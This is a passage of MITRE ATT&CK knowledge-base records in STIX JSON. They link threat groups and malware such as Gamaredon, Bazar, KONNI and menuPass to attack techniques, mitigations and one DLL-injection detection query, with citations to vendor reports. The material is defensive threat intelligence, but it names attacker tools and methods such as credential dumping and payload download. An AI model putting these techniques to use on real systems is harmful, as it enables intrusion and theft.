settings.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6358f18-fc64-46f5-8939-66e5258dd83d","type":"relationship","created":"2017-05-31T21:33:27.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.secureworks.com/resources/blog/living-off-the-land/","description":"Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.","source_name":"Dell TG-1314"}],"modified":"2020-03-16T19:05:40.022Z","description":"[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors used compromised domain credentials for the victim's endpoint management platform, Altiris, to move laterally.(Citation: Dell TG-1314)","relationship_type":"uses","source_ref":"intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c63696bf-8b36-4366-9c3f-7a2d0053c481","type":"relationship","created":"2019-01-30T13:53:14.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2019-04-17T22:22:21.969Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) is packed for obfuscation.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c63c7dc5-e374-4bf0-9839-0f940ac6d46c","created":"2017-05-31T21:33:27.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Gamaredon June 2020","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"},{"source_name":"CERT-EE Gamaredon January 2021","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022.","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf"},{"source_name":"TrendMicro Gamaredon April 2020","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/"},{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"Symantec Shuckworm January 2022","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine"},{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"},{"source_name":"Unit 42 Gamaredon February 2022","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:51:06.787Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used HTTP and HTTPS for C2 communications.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: CERT-EE Gamaredon January 2021)(Citation: Unit 42 Gamaredon February 2022)(Citation: unit42_gamaredon_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6467df1-e2fd-4fff-b647-606be50a9078","type":"relationship","created":"2020-06-15T20:49:55.569Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.569Z","description":"[Dyre](https://attack.mitre.org/software/S0024) has been delivered with encrypted resources and must be unpacked for execution.(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c646d6ed-e0f6-48b0-a4a3-d52b0a21f250","type":"relationship","created":"2020-11-18T19:44:20.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"Zscaler Bazar September 2020","url":"https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware","description":"Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}],"modified":"2021-06-21T20:54:59.170Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can download and deploy additional payloads, including ransomware and post-exploitation frameworks such as [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)(Citation: NCC Group Team9 June 2020)(Citation: CrowdStrike Wizard Spider October 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c64b3644-a838-4ed3-a6f3-fc770637b009","type":"relationship","created":"2020-03-15T00:40:27.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T00:40:27.631Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate some obfuscation activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c64f3e5f-6be9-45ec-8669-5b79c479030d","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T19:42:14.961Z","description":"Monitor for changes made to processes that may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. Injecting a malicious DLL into a process is a common adversary TTP. Although the ways of doing this are numerous, mavinject.exe is a commonly used tool for doing so because it roles up many of the necessary steps into one, and is available within Windows. Attackers may rename the executable, so we also use the common argument “INJECTRUNNING” as a related signature here. Whitelisting certain applications may be necessary to reduce noise for this analytic.\n\nAnalytic 1 - DLL Injection with Mavinject\n\n(source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") Image=\"C:\\Windows\\SysWOW64\\mavinject.exe\" OR Image=\"C:\\Windows\\System32\\mavinject.exe\" OR CommandLine=\"*/INJECTRUNNING*\"\"","relationship_type":"detects","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6572007-a3f6-40d1-bfd2-37abf6a63b58","type":"relationship","created":"2021-01-19T21:06:07.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec RAINDROP January 2021","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."}],"modified":"2021-01-20T15:00:22.799Z","description":"[Raindrop](https://attack.mitre.org/software/S0565) used steganography to locate the start of its encoded payload within legitimate 7-Zip code.(Citation: Symantec RAINDROP January 2021)","relationship_type":"uses","source_ref":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c65d4006-003c-4aff-a8c7-bd5834678b58","created":"2023-04-03T17:31:01.013Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-03T17:31:01.013Z","description":"[Metador](https://attack.mitre.org/groups/G1013) has used TCP for C2.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c65da10e-8b5b-4290-87a4-cbc3120bf99c","type":"relationship","created":"2022-03-24T19:39:24.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T19:39:24.722Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) contains a number of modules that can bypass UAC, including through Window's Device Manager, Manage Optional Features, and an image hijack on the `.msc` file extension.(Citation: GitHub SILENTTRINITY Modules July 2019) ","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6606ced-4641-451f-ac2a-493b1d15d0aa","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:16.851Z","description":"[RTM](https://attack.mitre.org/software/S0148) can obtain the computer name, OS version, and default language identifier.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6615e27-5984-44b3-82dc-f710c6823834","type":"relationship","created":"2019-06-24T13:52:51.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-22T16:13:35.072Z","description":"Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization.","relationship_type":"mitigates","source_ref":"course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c667befa-7242-47f8-bdc1-1056f62bb466","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"}],"modified":"2020-03-20T18:11:18.497Z","description":"[Elise](https://attack.mitre.org/software/S0081) exfiltrates data using cookie values that are Base64-encoded.(Citation: Lotus Blossom Jun 2015)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c671056c-f213-4084-9e9e-3361274ceb80","created":"2020-05-12T18:42:01.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"},{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.664Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used spearphishing attachments to deliver Microsoft documents containing macros or PDFs containing malicious links to download either [Emotet](https://attack.mitre.org/software/S0367), Bokbot, [TrickBot](https://attack.mitre.org/software/S0266), or [Bazar](https://attack.mitre.org/software/S0534).(Citation: CrowdStrike Grim Spider May 2019)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c6761f22-a8ed-4a9a-8d58-e8eee38ead88","created":"2022-04-13T16:50:08.502Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos Konni May 2017","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018."},{"source_name":"Malwarebytes KONNI Evolves Jan 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/konni-evolves-into-stealthier-rat/","description":"Santos, R. (2022, January 26). KONNI evolves into stealthier RAT. Retrieved April 13, 2022."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) has sent data and files to its C2 server.(Citation: Talos Konni May 2017)(Citation: Malwarebytes Konni Aug 2021)(Citation: Malwarebytes KONNI Evolves Jan 2022)","modified":"2022-04-13T16:51:48.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c67ddbdb-7e07-45b3-9f7d-5cdf959ac3b2","type":"relationship","created":"2019-05-02T01:07:36.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}],"modified":"2019-06-12T20:05:18.259Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin for screen capture.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c69d17b1-c261-44c6-9da5-c310cf20f91b","type":"relationship","created":"2021-03-19T13:19:57.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-04-25T23:34:23.757Z","description":"[Out1](https://attack.mitre.org/software/S0594) can parse e-mails on a target machine.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c69ee5f4-161a-4d2b-bad4-cc7929596bd3","created":"2020-03-19T23:25:31.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"Github AD-Pentest-Script","description":"Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.","url":"https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.638Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c6a104db-515e-4878-93f1-edfc0c242af9","created":"2023-09-21T17:41:06.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group LAPSUS Apr 2022","description":"Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.","url":"https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T19:46:30.914Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has reconfigured a victim's DNS records to actor-controlled domains and websites.(Citation: NCC Group LAPSUS Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c6a3ab9f-8136-4965-a765-261d95b433e6","created":"2023-03-14T14:38:03.823Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T14:38:03.823Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6a4b8e6-eaf7-4b56-af0a-ba0fd070e97b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2019-07-11T13:53:05.863Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) apparently altered [NDiskMonitor](https://attack.mitre.org/software/S0272) samples by adding four bytes of random letters in a likely attempt to change the file hashes.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c6a7e9fe-cdf3-451a-b97f-788b5839606c","created":"2022-05-05T17:19:23.988Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) can open random files and Registry keys to obscure malware behavior from sandbox analysis.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T17:19:23.988Z","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6adf690-07ad-4dbd-964b-0217ea2ce0fd","type":"relationship","created":"2021-12-06T23:14:44.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-12-06T23:14:44.943Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has used PowerShell commands to download additional files.(Citation: MalwareBytes LazyScripter Feb 